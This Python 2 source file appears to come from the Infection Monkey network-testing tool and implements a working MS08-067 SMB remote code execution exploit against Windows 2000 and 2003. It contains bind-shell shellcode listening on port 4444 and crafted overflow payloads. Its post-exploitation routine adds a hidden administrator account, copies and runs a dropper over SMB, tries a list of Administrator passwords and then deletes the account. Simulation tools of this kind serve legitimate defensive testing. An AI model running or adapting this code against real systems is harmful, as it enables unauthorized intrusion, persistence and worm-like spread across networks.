#!/usr/bin/env python ############################################################################# # MS08-067 Exploit by Debasis Mohanty (aka Tr0y/nopsled) # www.hackingspirits.com # www.coffeeandsecurity.com # Email: d3basis.m0hanty @ gmail.com ############################################################################# import sys import time import socket from enum import IntEnum from logging import getLogger from chaos_monkey.model.host import VictimHost from chaos_monkey.model import DROPPER_CMDLINE, MONKEY_CMDLINE from chaos_monkey.exploit import HostExploiter from chaos_monkey.exploit.tools import SmbTools, get_target_monkey from chaos_monkey.network.tools import check_port_tcp from chaos_monkey.network import SMBFinger try: from impacket import smb from impacket import uuid from impacket.dcerpc import dcerpc from impacket.dcerpc import transport from impacket.smbconnection import SessionError as SessionError1 from impacket.smb import SessionError as SessionError2 from impacket.smb3 import SessionError as SessionError3 except ImportError, exc: print str(exc) print 'Install the following library to make this script work' print 'Impacket : http://oss.coresecurity.com/projects/impacket.html' print 'PyCrypto : http://www.amk.ca/python/code/crypto.html' sys.exit(1) LOG = getLogger(__name__) # Portbind shellcode from metasploit; Binds port to TCP port 4444 SHELLCODE = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" SHELLCODE += "\x29\xc9\x83\xe9\xb0\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\xe9" SHELLCODE += "\x4a\xb6\xa9\x83\xee\xfc\xe2\xf4\x15\x20\x5d\xe4\x01\xb3\x49\x56" SHELLCODE += "\x16\x2a\x3d\xc5\xcd\x6e\x3d\xec\xd5\xc1\xca\xac\x91\x4b\x59\x22" SHELLCODE += "\xa6\x52\x3d\xf6\xc9\x4b\x5d\xe0\x62\x7e\x3d\xa8\x07\x7b\x76\x30" SHELLCODE += "\x45\xce\x76\xdd\xee\x8b\x7c\xa4\xe8\x88\x5d\x5d\xd2\x1e\x92\x81" SHELLCODE += "\x9c\xaf\x3d\xf6\xcd\x4b\x5d\xcf\x62\x46\xfd\x22\xb6\x56\xb7\x42" SHELLCODE += "\xea\x66\x3d\x20\x85\x6e\xaa\xc8\x2a\x7b\x6d\xcd\x62\x09\x86\x22" SHELLCODE += "\xa9\x46\x3d\xd9\xf5\xe7\x3d\xe9\xe1\x14\xde\x27\xa7\x44\x5a\xf9" SHELLCODE += "\x16\x9c\xd0\xfa\x8f\x22\x85\x9b\x81\x3d\xc5\x9b\xb6\x1e\x49\x79" SHELLCODE += "\x81\x81\x5b\x55\xd2\x1a\x49\x7f\xb6\xc3\x53\xcf\x68\xa7\xbe\xab" SHELLCODE += "\xbc\x20\xb4\x56\x39\x22\x6f\xa0\x1c\xe7\xe1\x56\x3f\x19\xe5\xfa" SHELLCODE += "\xba\x19\xf5\xfa\xaa\x19\x49\x79\x8f\x22\xa7\xf5\x8f\x19\x3f\x48" SHELLCODE += "\x7c\x22\x12\xb3\x99\x8d\xe1\x56\x3f\x20\xa6\xf8\xbc\xb5\x66\xc1" SHELLCODE += "\x4d\xe7\x98\x40\xbe\xb5\x60\xfa\xbc\xb5\x66\xc1\x0c\x03\x30\xe0" SHELLCODE += "\xbe\xb5\x60\xf9\xbd\x1e\xe3\x56\x39\xd9\xde\x4e\x90\x8c\xcf\xfe" SHELLCODE += "\x16\x9c\xe3\x56\x39\x2c\xdc\xcd\x8f\x22\xd5\xc4\x60\xaf\xdc\xf9" SHELLCODE += "\xb0\x63\x7a\x20\x0e\x20\xf2\x20\x0b\x7b\x76\x5a\x43\xb4\xf4\x84" SHELLCODE += "\x17\x08\x9a\x3a\x64\x30\x8e\x02\x42\xe1\xde\xdb\x17\xf9\xa0\x56" SHELLCODE += "\x9c\x0e\x49\x7f\xb2\x1d\xe4\xf8\xb8\x1b\xdc\xa8\xb8\x1b\xe3\xf8" SHELLCODE += "\x16\x9a\xde\x04\x30\x4f\x78\xfa\x16\x9c\xdc\x56\x16\x7d\x49\x79" SHELLCODE += "\x62\x1d\x4a\x2a\x2d\x2e\x49\x7f\xbb\xb5\x66\xc1\x19\xc0\xb2\xf6" SHELLCODE += "\xba\xb5\x60\x56\x39\x4a\xb6\xa9" # Payload for Windows 2000 target PAYLOAD_2000 ='\x41\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00' PAYLOAD_2000 += '\x41\x41\x41\x41\x41\x41\x41\x41' PAYLOAD_2000 += '\x41\x41\x41\x41\x41\x41\x41\x41' PAYLOAD_2000 += '\x41\x41' PAYLOAD_2000 += '\x2f\x68\x18\x00\x8b\xc4\x66\x05\x94\x04\x8b\x00\xff\xe0' PAYLOAD_2000 += '\x43\x43\x43\x43\x43\x43\x43\x43' PAYLOAD_2000 += '\x43\x43\x43\x43\x43\x43\x43\x43' PAYLOAD_2000 += '\x43\x43\x43\x43\x43\x43\x43\x43' PAYLOAD_2000 += '\x43\x43\x43\x43\x43\x43\x43\x43' PAYLOAD_2000 += '\x43\x43\x43\x43\x43\x43\x43\x43' PAYLOAD_2000 += '\xeb\xcc' PAYLOAD_2000 += '\x00\x00' # Payload for Windows 2003[SP2] target PAYLOAD_2003 ='\x41\x00\x5c\x00' PAYLOAD_2003 += '\x2e\x00\x2e\x00\x5c\x00\x2e\x00' PAYLOAD_2003 += '\x2e\x00\x5c\x00\x0a\x32\xbb\x77' PAYLOAD_2003 += '\x8b\xc4\x66\x05\x60\x04\x8b\x00' PAYLOAD_2003 += '\x50\xff\xd6\xff\xe0\x42\x84\xae' PAYLOAD_2003 += '\xbb\x77\xff\xff\xff\xff\x01\x00' PAYLOAD_2003 += '\x01\x00\x01\x00\x01\x00\x43\x43' PAYLOAD_2003 += '\x43\x43\x37\x48\xbb\x77\xf5\xff' PAYLOAD_2003 += '\xff\xff\xd1\x29\xbc\x77\xf4\x75' PAYLOAD_2003 += '\xbd\x77\x44\x44\x44\x44\x9e\xf5' PAYLOAD_2003 += '\xbb\x77\x54\x13\xbf\x77\x37\xc6' PAYLOAD_2003 += '\xba\x77\xf9\x75\xbd\x77\x00\x00' class WindowsVersion(IntEnum): Windows2000 = 1 Windows2003_SP2 = 2 class SRVSVC_Exploit(object): TELNET_PORT = 4444 def __init__(self, target_addr, os_version=WindowsVersion.Windows2003_SP2, port=445): self._port = port self._target = target_addr self._payload = PAYLOAD_2000 if WindowsVersion.Windows2000 == os_version else PAYLOAD_2003 def get_telnet_port(self): """get_telnet_port() The port on which the Telnet service will listen. """ return SRVSVC_Exploit.TELNET_PORT def start(self): """start() -> socket Exploit the target machine and return a socket connected to it's listening Telnet service. """ target_rpc_name = "ncacn_np:%s[\\pipe\\browser]" % self._target LOG.debug("Initiating exploit connection (%s)", target_rpc_name) self._trans = transport.DCERPCTransportFactory(target_rpc_name) self._trans.connect() LOG.debug("Connected to %s", target_rpc_name) self._dce = self._trans.DCERPC_class(self._trans) self._dce.bind(uuid.uuidtup_to_bin(('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0'))) dce_packet = self._build_dce_packet() self._dce.call(0x1f, dce_packet) #0x1f (or 31)- NetPathCanonicalize Operation LOG.debug("Exploit sent to %s successfully...", self._target) LOG.debug("Target machine should be listening over port %d now", self.get_telnet_port()) sock = socket.socket() sock.connect((self._target, self.get_telnet_port())) return sock def _build_dce_packet(self): # Constructing Malicious Packet dce_packet = '\x01\x00\x00\x00' dce_packet += '\xd6\x00\x00\x00\x00\x00\x00\x00\xd6\x00\x00\x00' dce_packet += SHELLCODE dce_packet += '\x41\x41\x41\x41\x41\x41\x41\x41' dce_packet += '\x41\x41\x41\x41\x41\x41\x41\x41' dce_packet += '\x41\x41\x41\x41\x41\x41\x41\x41' dce_packet += '\x41\x41\x41\x41\x41\x41\x41\x41' dce_packet += '\x41\x41\x41\x41\x41\x41\x41\x41' dce_packet += '\x41\x41\x41\x41\x41\x41\x41\x41' dce_packet += '\x41\x41\x41\x41\x41\x41\x41\x41' dce_packet += '\x41\x41\x41\x41\x41\x41\x41\x41' dce_packet += '\x00\x00\x00\x00' dce_packet += '\x2f\x00\x00\x00\x00\x00\x00\x00\x2f\x00\x00\x00' dce_packet += self._payload dce_packet += '\x00\x00\x00\x00' dce_packet += '\x02\x00\x00\x00\x02\x00\x00\x00' dce_packet += '\x00\x00\x00\x00\x02\x00\x00\x00' dce_packet += '\x5c\x00\x00\x00\x01\x00\x00\x00' dce_packet += '\x01\x00\x00\x00' return dce_packet class Ms08_067_Exploiter(HostExploiter): _target_os_type = ['windows'] _windows_versions = {'Windows Server 2003 3790 Service Pack 2' : WindowsVersion.Windows2003_SP2, 'Windows Server 2003 R2 3790 Service Pack 2' : WindowsVersion.Windows2003_SP2} def __init__(self): self._config = __import__('config').WormConfiguration def is_os_supported(self, host): if host.os.get('type') in self._target_os_type and \ host.os.get('version') in self._windows_versions.keys(): return True if not host.os.get('type') or (host.os.get('type') in self._target_os_type and not host.os.get('version')): is_smb_open,_ = check_port_tcp(host.ip_addr, 445) if is_smb_open: smb_finger = SMBFinger() if smb_finger.get_host_fingerprint(host): return host.os.get('type') in self._target_os_type and \ host.os.get('version') in self._windows_versions.keys() return False def exploit_host(self, host, src_path=None): assert isinstance(host, VictimHost) src_path = src_path or get_target_monkey(host) if not src_path: LOG.info("Can't find suitable monkey executable for host %r", host) return False os_version = self._windows_versions.get(host.os.get('version'), WindowsVersion.Windows2003_SP2) exploited = False for _ in range(self._config.ms08_067_exploit_attempts): exploit = SRVSVC_Exploit(target_addr=host.ip_addr, os_version=os_version) try: sock = exploit.start() sock.send("cmd /c (net user %s %s /add) &&" " (net localgroup administrators %s /add)\r\n" % \ (self._config.ms08_067_remote_user_add, self._config.ms08_067_remote_user_pass, self._config.ms08_067_remote_user_add)) time.sleep(2) reply = sock.recv(1000) LOG.debug("Exploited into %r using MS08-067", host) exploited = True break except Exception, exc: LOG.debug("Error exploiting victim %r: (%s)", host, exc) continue if not exploited: LOG.debug("Exploiter MS08-067 is giving up...") return False # copy the file remotely using SMB remote_full_path = SmbTools.copy_file(host, self._config.ms08_067_remote_user_add, self._config.ms08_067_remote_user_pass, src_path, self._config.dropper_target_path) if not remote_full_path: # try other passwords for administrator for password in self._config.psexec_passwords: remote_full_path = SmbTools.copy_file(host, "Administrator", password, src_path, self._config.dropper_target_path) if remote_full_path: break if not remote_full_path: return False # execute the remote dropper in case the path isn't final if remote_full_path.lower() != self._config.dropper_target_path.lower(): cmdline = DROPPER_CMDLINE % {'dropper_path': remote_full_path} else: cmdline = MONKEY_CMDLINE % {'monkey_path': remote_full_path} if host.default_tunnel: cmdline += " -t " + host.default_tunnel try: sock.send("start %s\r\n" % (cmdline, )) sock.send("net user %s /delete\r\n" % (self._config.ms08_067_remote_user_add, )) except Exception, exc: LOG.debug("Error in post-debug phase while exploiting victim %r: (%s)", host, exc) return False finally: try: sock.close() except: pass LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", remote_full_path, host, cmdline) return True